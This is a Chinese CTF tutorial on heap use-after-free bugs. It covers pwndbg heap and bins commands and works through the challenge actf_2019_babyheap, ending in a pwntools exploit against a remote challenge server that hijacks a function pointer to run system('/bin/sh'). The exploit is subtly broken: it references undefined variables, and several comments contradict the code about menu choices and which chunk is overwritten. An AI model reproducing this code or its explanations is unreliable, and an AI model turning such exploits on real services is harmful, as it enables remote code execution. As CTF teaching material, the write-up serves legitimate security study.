UAF/use after free

UAF 的本质是复用未清零的指针，使已经释放到 bin 当中的堆块内容可以被修改或者打印出来，依据泄露的 fd 和 bk 指针或者在堆中布置 system(‘/bin/sh’);去调用获取 shell

UAF的概述

UAF 是 Use After Free 的缩写，中文叫 “释放后使用”，是堆漏洞利用的重要方式

当我们 free 适当大小的chunk时，我们 free 掉的chunk会先被放入bins，在我们再次申请适合大小的chunk 时，系统会有限从我们的 bins 中取出之前free掉的chunk返回给我们，我们此时会有两种情况

  • 1）free后空间置0
  • 2）free后空间不置0

简单来说，就是：程序在释放了一块内存之后，又去访问 / 使用这块已经被释放的内存空间。__

你可以把内存想象成酒店房间：

  • 你（程序）入住了一个房间（内存），拿到钥匙（指针）；
  • 你退房（free/delete），房间归还给酒店（操作系统），此时酒店管理员并没有回收你的钥匙；
  • 之后你还拿着这间房子得钥匙，之后又去开这个房间的门（访问指针）

此时这个房间可能已经分配给别人(其他程序 / 变量),当你去访问/修改,就会导致不可预知的后果。

在程序中，UAF常有以下几种情况：

  • 内存块被释放后，其对应的指针被设置为 NULL，然后再次使用，自然程序会崩溃。
  • **内存块被释放后，其对应的指针没有被设置为 NULL **，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。
  • **内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。
    **而我们一般所指的 Use After Free 漏洞主要是后两种。此外，我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

Dangling Pointer

悬空指针是计算机编程中的一个常见且危险的问题，它指的是一个指针仍然保留着之前指向的内存地址，但是这片内存区域可能已经被释放或者不再有效，从而可能导致程序在使用该指针时出现未定义行为。

作为堆入门，我们先来了解一部分 gdb 的使用命令：

heap 命令

这个命令是 pwndbg 中查看堆内存布局的核心工具，能帮你直观看到 chunk 的分配、释放、大小、状态等关键信息。先分配 / 释放堆块，之后可以用 heap 命令去看堆分布的情况

输出示例（以 fastbin 为例）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
All heap chunks
Addr: 0x555555559290 
(size: 0x20) [ALLOCATED]        
fd: 0x0,
bk: 0x0

Addr: 0x5555555592b0
(size: 0x30) [FREE (fastbin)]
fd: 0x5555555592e0,
bk: 0x0

Addr: 0x5555555592e0 
(size: 0x30) [FREE (fastbin)]
fd: 0x0, 
bk: 0x5555555592b0

字段解读：
Addr：chunk 的起始地址；
size：chunk 大小（包含 chunk header）；
[ALLOCATED]/[FREE]：chunk   是已分配还是已释放；
fd/bk：fastbin/unsorted bin 的前驱 / 后继指针（堆链表核心）。

堆结构：

例如某fastbin地址位0x804b000,

那么 0x0000000就是addr，0x00000011就是size

1
0x804865b就是fd，0x804b018就是bk

1767078769242-42eae880-61a1-4864-b62c-8c3ac6b3b009.png

bins 命令

glibc 的堆管理器会把释放的空闲 chunk 按大小分类存到不同的 bin 中，bins 命令就是专门列出这些 bin 的详细信息

1
2
3
4
5
6
7
# 在 pwndbg 中直接输入，查看所有类型 bin 的完整信息
bins

# 只查看指定类型的 bin（常用）
bins fast      # 仅看 fastbin
bins unsorted  # 仅看 unsorted bin
bins tcache    # 仅看 tcache bin（glibc 2.26+）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Fastbins
[fbin 0/0x20] 0x0
[fbin 1/0x30] 0x5555555592b0 -> 0x5555555592e0 -> 0x0
[fbin 2/0x40] 0x0

Unsorted bin
all: 0x555555559320 -> 0x7ffff7dd1b80 (main_arena) -> 0x555555559320

Tcache bins
[tcache 0x20] count=0; entries=0x0
[tcache 0x30] count=1; entries=0x5555555592b0 -> 0x0

字段解读（重点）：
Fastbins：
[fbin 1/0x30]：第 1 个 fastbin，对应 chunk 大小为 0x30（需忽略 size 最后 3 位标志）；
0x5555555592b0 -> 0x5555555592e0 -> 0x0：fastbin 是单链表（仅 fd 指针），箭头表示 chunk 的 fd 指向关系。

Unsorted bin：
是双向链表，首尾指向 main_arena（堆管理器核心结构体）；
0x555555559320 -> main_arena -> 0x555555559320：表示 unsorted bin 中有一个 chunk（0x555555559320），形成闭环。

Tcache bins：
count=1：该尺寸的 tcache 中已有 1 个空闲 chunk；
entries=0x5555555592b0 -> 0x0：tcache 中的 chunk 链表。

例）actf_2019_babyheap（uaf堆复用）

1767080361914-1ca7158a-4b15-4dd6-a34c-fce30cab2514.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
    int n2; // eax
    char buf[24]; // [rsp+10h] [rbp-20h] BYREF
    unsigned __int64 v5; // [rsp+28h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    sub_400907(a1, a2, a3);
    while ( 1 )
    {
        while ( 1 )
        {
            sub_4009D2();
            read(0, buf, 8u);
            n2 = atoi(buf);
            if ( n2 != 2 )              //delete
                break;
            sub_400BAE();
        }
        if ( n2 == 3 )                  //create
        {
            sub_400C66();
        }
        else
        {
            if ( n2 != 1 )              //print
                sub_400D18();
            sub_400A78();
        }
    }
}

1767085112506-2ff87107-3ce1-4c81-990b-ff7c769e4c14.png1767117967779-22e436f4-c7dd-4a70-96aa-0a47310f6551.png

1767083545530-bb5b259f-076e-4eb1-b46e-f1bf1c5341a2.png

我们发现在delete中，free之后并没有置0，这很有可能存在UAF漏洞

1767081518110-26e745a7-4046-4e52-87dc-6fb9a98ceb70.png

反汇编核心代码解析

if( n5>=0 && n5 < ::ns )

“要检查的这个 chunk 指针（n5）不是空 / 负地址，并且这个 chunk 指针的内存地址，小于 0x70 尺寸 fastbin 链表头的全局地址” → 本质是验证 chunk 指针是否在堆内存的合法范围，而非 libc 内部的全局数据区。c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ( *(&ptr + n5) )  
{
  free(**(&ptr + n5));  // 第一次释放
  free(*(&ptr + n5));   // 第二次释放
}

1.&ptr + n5
&ptr：取 ptr 这个指针变量本身的地址，不是 ptr 指向的内容
+ n5：指针偏移，最终指向指针数组中第 n5 个元素的地址
&ptr + n5 就是找到数组中第 n5 个格子的地址。

2. *(&ptr + n5)
* 是解引用操作，拿到第 n5 个格子里存储的内容，也就是某个堆块的指针（比如 0x5555555592b0）。
等价于：ptr[n5]

3. if ( *(&ptr + n5) )
检查该位置是否有分配过的堆块
如果非空，才执行后续的两次 free 操作。

4. 第一次释放 free(**(&ptr + n5))
**(&ptr + n5)：对 *(&ptr + n5) 再解引用一次拿到堆指针指向的堆块内容的地址

**(&ptr + n5) = *(ptr[n5]) = 堆块 B 的地址。
第一次 free：释放堆块 B。

5. 第二次释放 free(*(&ptr + n5))
释放堆块 A（即 ptr[n5] 指向的堆块）。
add 先申请 0x10 chunk（记为 chunkA）→ 再申请 size 大小 chunk（记为 chunkB）；chunkA 前 8 字节存 chunkB 地址，后 8 字节存 print 函数指针
delete 存在 UAF 漏洞：free chunkA/chunkB 后未清空指针，指针仍指向已释放的堆块
show 执行 chunkA 后 8 字节的函数指针，参数为 chunkA 前 8 字节的 chunkB 地址
(((&ptr + n5) + 1))((&ptr + n5));c**
1
2
if ( *(&ptr + n5) )                        // 判断堆块指针是否非空
  (*(*(&ptr + n5) + 1))(**(&ptr + n5));    // 调用函数指针

C 语言中，&ptr + n5 等价于 &ptr[n5]，*(&ptr + n5) 等价于 ptr[n5]（数组下标本质是指针偏移的语法糖）。先把代码替换为等价写法：

1
2
if (ptr[n5])                                // 条件判断：ptr数组第n5个元素是否非空
  (*(ptr[n5] + 1))(*ptr[n5]);               // 调用函数指针
1
2
3
4
5
6
7
8
9
10
11
12
(*(ptr[n5] + 1))(*ptr[n5])

1） ptr[n5] + 1：找到函数指针的地址
    ptr[n5]：chunkA 的起始地址

2） *(ptr[n5] + 1)：取出函数指针的值
    * 是解引用操作，拿到偏移地址中存储的函数指针，比如篡改后的 system 地址 0x7ffff7e0f380

3） (*(ptr[n5] + 1))(*ptr[n5])：调用函数指针
    外层括号 ()：执行函数调用（把函数指针当成函数执行）；
    *ptr[n5]：函数的入参 —— 解引用 ptr[n5]，拿到 chunkA 前 8 字节存储的 chunkB 地址（比如你写入的 /bin/sh 地址 0x7ffff7f56040）；
    例子：(*(ptr[2]+1))(*ptr[2]) = system(0x7ffff7f56040) = system("/bin/sh")
解题思路：

delect函数中存在明显的uaf漏洞，同时add函数中又是先申请一个大小为0x10的chunk，然后再申请大小为size的chunk，且show函数是通过执行大小为0x10的chunk的后八位存储的函数来打印chunk中的内容的，于是我们可以利用fastbin的性质来达成篡改大小为0x10的chunk的后八位进而达成执行system(‘/bin/sh’)

首先我们申请两个chunk，然后将这两个chunkfree掉，这样我们就有两个大小为0x10的fastbin了，此时再申请一个大小为0x10的chunk即可

exp：UAF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

io = remote('node5.buuoj.cn',29320)
elf=ELF('./BUU16')
bin_sh_addr=0x602010
system_addr=elf.plt['system']

def add(size,content):
    io.recvuntil('choice: ')
    io.sendline('1')
    io.recvuntil('size: ')
    io.sendline(str(size))
    io.recvuntil('content: ')
    io.send(content)

def delete(idx):
    io.recvuntil('choice: ')
    io.sendline('2')
    io.recvuntil('index: ')
    io.send(str(idx))

def show(idx):
    io.recvuntil('choice:')
    io.sendline('3')
    io.recvuntil('index:')
    io.send(str(idx))

add(0x80,b'aaaa')  # 第1次add → ptr[0] = chunkA0（0x10），chunkB0（0x80）= b'aaaa'
add(0x80,b'bbbb')  # 第2次add → ptr[1] = chunkA1（0x10），chunkB1（0x80）= b'bbbb'

delete(0)  # 释放 ptr[0] 指向的 chunkA0 → 进入 fastbin 0x20
delete(1)  # 释放 ptr[1] 指向的 chunkA1 → 进入 fastbin 0x20

add(0x10,p64(bin_sh)+p64(system))  # 第3次add → 分配 fastbin 中的 chunkA1

# 程序调用 malloc(0x10) 分配新的 chunkA 时，会优先从 fastbin 0x20 中取堆块（fastbin 是 “空闲堆块缓存”），由于 fastbin 后进先出，会分配 chunkA1（最后释放的堆块）；
# payload p64(bin_sh)+p64(system) 会被写入新分配的 chunkB，由于堆溢出，这段 payload 会覆盖 chunkA1 的内存
# chunkA1 前 8 字节：被改为 bin_sh（/bin/sh 地址）；
# chunkA1 后 8 字节：被改为 system（system 函数地址）；

show(0)  # 调用 ptr[0] 指向的 chunkA0 的函数指针，执行system('/bin/sh');
io.interactive()

通过 add 分配两个 0x10 大小的 chunkA，用 delete 释放（利用 UAF 保留指针），让它们进入 fastbin；再通过 add 复用 fastbin 中的堆块，将 chunkA 的 “数据指针” 改为 /bin/sh 地址、“函数指针” 改为 system 地址；最后调用 show 执行函数指针，触发 system(“/bin/sh”) 获取 shell。

更新: 2026-04-23 14:09:23
原文: https://www.yuque.com/idcm/wnemg9/aqvnkv3oxnxgodvv